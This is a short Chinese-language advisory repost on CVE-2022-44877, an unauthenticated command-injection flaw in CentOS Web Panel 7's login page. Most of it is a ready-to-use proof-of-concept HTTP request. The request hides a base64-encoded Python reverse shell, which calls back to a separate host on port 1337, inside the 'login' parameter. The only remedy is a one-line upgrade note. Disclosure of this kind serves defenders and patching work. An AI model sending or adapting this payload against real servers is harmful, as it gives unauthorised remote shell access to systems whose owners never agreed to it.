Centos Web 面板 7 未经身份验证的远程代码执行 - CVE-2022-44877
2023-1-6 09:52:30 Author: Ots安全(查看原文) 阅读量:54 收藏

[+] Centos Web Panel 7 Unauthenticated Remote Code Execution[+] Centos Web Panel 7 - < 0.9.8.1147[+] Affected Component ip:2031/login/index.php?login=$(whoami)[+] Discoverer: Numan Türle @ Gais Cyber Security[+] Vendor: https://centos-webpanel.com/ - https://control-webpanel.com/changelog#1669855527714-450fb335-6194

描述

https://www.gnu.org/software/bash/manual/html_node/Double-Quotes.html

https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html

➜  CVE-2022-44877 echo "example_log" >> log➜  CVE-2022-44877 cat logexample_log➜  CVE-2022-44877 echo "example_log $(whoami)" >> log➜  CVE-2022-44877 cat logexample_logexample_log root➜  CVE-2022-44877

概念证明:

POST /login/index.php?login=$(echo${IFS}cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTMuMzcuMTEiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJzaCIpJyAg${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash) HTTP/1.1Host: 10.13.37.10:2031Cookie: cwpsrv-2dbdc5905576590830494c54c04a1b01=6ahj1a6etv72ut1eaupietdk82Content-Length: 40Origin: https://10.13.37.10:2031Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: https://10.13.37.10:2031/login/index.php?login=failedAccept-Encoding: gzip, deflateAccept-Language: enConnection: close
username=root&password=toor&commit=Login

解决方案

升级到 CWP7 当前版本。


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247496372&idx=1&sn=413837027a64dbadfe63a06726802211&chksm=9badbbffacda32e968c54c6fb13d853802bf4bf6509dde3225b45ac043b7a30680eeee03a4d4#rd
如有侵权请联系:admin#unsafe.sh